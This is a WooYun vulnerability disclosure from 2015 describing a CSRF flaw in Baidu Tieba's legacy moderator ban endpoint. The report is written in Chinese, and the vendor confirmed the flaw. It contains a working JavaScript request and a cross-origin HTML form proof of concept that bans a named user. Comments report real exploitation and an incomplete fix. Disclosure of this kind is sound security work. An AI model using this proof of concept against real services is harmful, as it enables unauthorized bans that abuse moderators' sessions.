当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0117218

漏洞标题：百度贴吧封禁吧友csrf

相关厂商：百度

漏洞作者： 昌维

提交时间：2015-06-01 12:37

修复时间：2015-07-16 14:58

公开时间：2015-07-16 14:58

漏洞类型：CSRF

危害等级：低

自评Rank：5

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-06-01： 细节已通知厂商并且等待厂商处理中
2015-06-01： 厂商已经确认，细节仅向厂商公开
2015-06-11： 细节向核心白帽子及相关领域专家公开
2015-06-21： 细节向普通白帽子公开
2015-07-01： 细节向实习白帽子公开
2015-07-16： 细节向公众公开

简要描述：

通过csrf借助吧主权限封禁吧友

详细说明：

首先“http://tieba.baidu.com/bawu/cm”这是老版本的吧务后台封禁接口，百度虽然早已改换为新版吧务后台，但是老版本的各种接口依然可以正常使用，由于老程序员的安全意识薄弱，导致虽然新版本的吧务后台看似csrf都做得不错，但是老版本的吧务后台依然可以正常调用里面的接口。

var c={ie:"utf-8",fid:PageData.forum.forum_id,"user_name":prompt("用户名"),ban_days:prompt("时长",1),word:PageData.forum.forum_name,cm:"filter_forum_user"};$.post("http://tieba.baidu.com/bawu/cm ",c,function(o){if(o.error.errmsg==""){alert("封禁成功");}else{alert("封禁失败:"+o.error.errmsg);}},"json");void 0


可以看出封禁需要向http://tieba.baidu.com/bawu/cm这个地址post如下几个参数即可。

ie:utf-8
fid:15309
user_name:昌维001
ban_days:1
word:it
cm:filter_forum_user


bawu1.png


其中fid为贴吧id，可以打开目标贴吧之后在f12的js控制点里面使用PageData.forum.forum_id命令获取，word为目标贴吧名称，ban_days为封禁天数，cm为固定的filter_forum_user，user_name为要封禁的人的id，可以看出并没有进行csrf防御用的tbs参数。具体证明看下面。

漏洞证明：

bawu2.png

bawu3.png

bawu4.png


<form action="http://tieba.baidu.com/bawu/cm" method="post">
  <p>
    ie：
      <input name="ie" type="text" id="ie" value="utf-8" />
  </p>
  <p>fid：
    <input name="fid" type="text" id="fid" value="15309" />
  </p>
  <p>user_name：
    <input name="user_name" type="text" id="user_name" value="昌维001" />
  </p>
  <p>ban_days:
    <input name="ban_days" type="text" id="ban_days" value="1" />
  </p>
  <p>word：
    <input name="word" type="text" id="word" value="it" />
  </p>
  cm：
  <input name="cm" type="text" id="cm" value="filter_forum_user" />
  <p>
    <input type="submit" name="button" id="button" />
  by 昌维 </p>
</form>


如图所示，使用那个html可以在外域成功提交

修复方案：

要么把老接口都停用要么就加tbs吧。

版权声明：转载请注明来源 昌维@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：3

确认时间：2015-06-01 14:57

厂商回复：

感谢

最新状态：

暂无

漏洞评价：

评论

  1. 2015-08-03 08:01 | Mo_ ( 路人 | Rank:4 漏洞数:1 | Mo_梦)

    这个洞被利用了吧！

  2. 2015-08-03 10:15 | 昌维 ( 路人 | Rank:2 漏洞数:3 | QQ：867597730，百度贴吧ID：昌维001)

    @Mo_ 嗯，我自己在吧主专区都被封了

  3. 2015-08-03 10:33 | Mieless ( 路人 | Rank:11 漏洞数:1 | 我是来打酱油的。)

    @昌维 代码改了点吧，百度真坑爹，没修复好